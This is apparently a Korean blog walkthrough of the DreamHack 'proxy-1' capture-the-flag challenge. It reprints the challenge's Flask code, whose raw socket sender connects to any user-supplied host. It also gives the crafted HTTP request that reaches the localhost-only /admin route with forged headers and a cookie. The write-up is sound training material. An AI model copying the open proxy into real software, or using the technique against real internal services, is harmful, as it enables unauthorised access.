WEB/DreamHack

[dreamhack] proxy-1

PhoB 2023. 3. 23. 00:17

라고 합니다

[문제 페이지]

Raw Socket Sender에 링크가 걸려있는 모습입니다. 이동해보면

원하는 주소로 데이터를 보내는 페이지인가 봅니다.

일단 아무거나 입력해보겠습니다.

입력을 하고 send를 누르면

실패했습니다.

그럼이제 코드를 봅시다.

[핵심 코드]

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)

 

 

밑에 보니 호스트 주소 0.0.0.0과 포트번호 8000에서 돌아간다고 되어있네요

한번 이 주소로 넣어보겠습니다.

시간초과가 뜨네요, 코드를 보면 settimeout(3)이 있는데 응답시간이 오래걸려서  그런것 같습니다.

다시한번 코드를 보죠

@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

위 코드를 보면 조건문들이 굉장히 많습니다 이 조건들을 다 통과해야 비로소 플래그를 얻을 수 있는게 보이네요.

조건들을 살펴보면

클라이언트 ip주소가 127.0.0.1일것

User-Agent의 헤더값이 Admin Browser여야 한다

DreamhackUser의 헤더값이 admin이어야한다

쿠키값이 admin이어야한다

userid가 admin이어야한다.

헤더값, ip주소값 , 쿠키값 등등..이 조건인것을 보니 http헤더와 유사한 느낌을 받았습니다.

Burp Suite를 통해서 형식을 좀 베껴오겠습니다.

POST /admin HTTP/1.1
Host: host3.dreamhack.games:18107
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true

userid=admin

자잘자잘한것들은 떼버리고 필요한것만 추가해서 작성해 주었습니다.

Content-Length를 12로 설정한 이유는 userid=admin이 12글자이기 때문이다. 이제 전송을 해주면?

플래그 획득 완료!